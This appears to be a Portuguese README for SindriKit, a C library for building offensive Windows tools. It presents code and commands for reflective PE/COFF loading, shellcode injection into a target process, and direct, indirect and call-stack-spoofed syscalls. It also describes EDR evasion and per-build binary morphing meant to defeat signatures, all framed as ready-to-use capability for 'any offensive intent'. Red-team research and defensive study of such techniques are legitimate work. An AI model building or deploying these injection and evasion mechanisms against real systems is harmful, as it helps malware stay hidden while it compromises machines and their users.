
Uma biblioteca C fundamental para construir capacidades ofensivas operacionalmente críveis.
O Desenvolvimento Ofensivo Merece uma Arquitetura Melhor.
Uma biblioteca C para construir capacidades ofensivas.
A maioria dos utilitários ofensivos codifica rigidamente seus mecanismos de execução dentro da lógica da técnica. Um loader reflexivo não apenas mapeia uma imagem; ele a mapeia usando uma cadeia específica e codificada de chamadas VirtualAlloc ou NTAPI nativas. Quando um EDR começa a monitorar essa cadeia específica, você é forçado a reescrever a ferramenta inteira.
O SindriKit resolve isso impondo uma separação de responsabilidades por meio de tabelas de abstração de interface:
Ao deslocar os mecanismos de execução para ponteiros de função em tempo de execução, você pode trocar toda a sua estratégia de chamadas Win32 para syscalls diretas brutas com uma única linha de código — sem alterar a lógica de execução do seu payload.
snd_memory_api_t, snd_module_api_t, snd_process_api_t, snd_thread_api_t, snd_mapping_api_t, snd_file_api_t) sem tocar na lógica da técnica.snd_syscall_resolve_ssn_scan, snd_syscall_resolve_ssn_sort) com uma cadeia de prioridade, desacoplados dos invocadores: direto, indireto (gadget NTDLL) ou spoofed (spoofing dinâmico de call-stack Fat-Frame).snd_status_t — um código de facility/local empacotado mais o erro do SO capturado, com strings de contexto que são removidas na compilação no tier silencioso.SND_MORPH. Gera assinaturas binárias únicas a cada build ao injetar predicados opacos voláteis no código C, matemática/NOPs funcionalmente equivalentes em stubs Assembly, e embaralhar o layout de memória de structs centrais.SND_CRTLESS vão além com /NODEFAULTLIB, sem header do SDK, um frontend PEB e apenas backends nativos.O repositório inclui uma única CLI unified que exercita todos os perfis:
build.bat pocs
build64\pocs\Release\unified.exe load pe -f payload.dll -e Run --sys
unified suporta load pe|coff, inject classic|apc|hijack (shell, PE, COFF) e hg, cada um sobre --win/--nt/--sys. Veja Exemplos & PoCs e Primeiros Passos.
cmake_minimum_required(VERSION 3.16)
project(MyTool C ASM_MASM)
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_MORPH ON CACHE BOOL "")
add_subdirectory(libs/SindriKit)
add_executable(my_tool src/main.c)
target_link_libraries(my_tool PRIVATE sindri::engine)
cmake -B build && cmake --build build --config Release
Apenas duas linhas para que sua ferramenta herde todas as capacidades do SindriKit: parsing de PE e COFF, carregamento reflexivo, syscalls em cascata e perfis de injeção.
┌────────────────────────────────────────────────────────────────────────────┐
│ QUALQUER INTENÇÃO OFENSIVA │
│ Loader · Injector · Spoofer · Patcher · Bypasser · Harvester · ... │
├────────────────────────────────────────────────────────────────────────────┤
│ CAMADA DE ABSTRAÇÃO DE API DO SINDRIKIT │
│ snd_memory_api_t -> alloc · free · protect │
│ snd_module_api_t -> load_library · get_proc_address · ... │
│ snd_process_api_t -> open · alloc_remote · write · protect · thread │
│ snd_mapping_api_t -> open · view · close (KnownDlls bootstrap) │
│ snd_thread_api_t -> queue_apc · resume · suspend │
│ snd_file_api_t -> load │
├──────────────────┬──────────────────────┬──────────────────────────────────┤
│ Perfil Win32 │ Perfil Nativo │ Traga Seu Próprio Mecanismo │
│ VirtualAlloc │ NtAllocateVirtual │ Driver · ROP · Exótico │
│ LoadLibraryA │ PEB Walk + EAT │ Funções definidas pelo operador │
└──────────────────┴──────────────────────┴──────────────────────────────────┘
Na prática, isso significa que todo domínio segue o mesmo contrato:
// Reflective loader
snd_ldr_pe_ctx_t ctx = {0};
ctx.raw_source = &payload;
ctx.mem_api = &snd_mem_win; // or snd_mem_nt / snd_mem_sys
ctx.mod_api = &snd_mod_win; // or snd_mod_nt
snd_ldr_pe_prepare_image(&ctx);
snd_ldr_pe_execute_image(&ctx);
// Classic injection
snd_inj_ctx_t inj = {0};
inj.target_pid = 1337;
inj.payload = &shellcode;
inj.proc_api = &snd_proc_sys; // or snd_proc_win / snd_proc_nt
snd_inj_classic_shell(&inj);
snd_inj_cleanup(&inj);
O SindriKit trata a resolução de syscalls como um mecanismo injetável, empilhando estratégias em ordem de prioridade. O motor percorre até que uma tenha sucesso:
snd_ntdll_set_clean(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
// or for spoofed syscalls:
// snd_syscall_set_invoker(snd_syscall_spoofed_invoke_asm);
// snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan);
O invocador é desacoplado da resolução de SSN — alterne entre syscalls diretas, indiretas e spoofed sem modificar o código do domínio. A invocação indireta salta para um gadget legítimo da NTDLL para que o endereço de retorno permaneça dentro de ntdll.dll; a invocação spoofed adicionalmente planta um endereço de retorno genuíno do chamador dentro de um "Fat Frame" descoberto dinamicamente, para que os unwinds da call-stack permaneçam coerentes.